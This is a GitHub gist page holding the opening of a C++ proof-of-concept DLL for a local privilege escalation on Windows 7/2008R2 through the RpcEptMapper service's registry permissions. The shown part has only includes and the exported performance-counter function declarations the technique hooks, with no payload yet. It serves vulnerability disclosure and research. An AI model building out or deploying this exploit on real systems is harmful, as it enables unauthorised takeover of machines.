Skip to content

Instantly share code, notes, and snippets.

View itm4n's full-sized avatar

Clément Labro itm4n

View GitHub Profile
@itm4n
itm4n / DllRpcEndpointMapperPoc.cpp
Created November 8, 2020 12:03
Windows 7-2008R2 RpcEptMapper Service Insecure Registry Permissions EoP - PoC DLL
#include <iostream>
#include <Windows.h>
#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();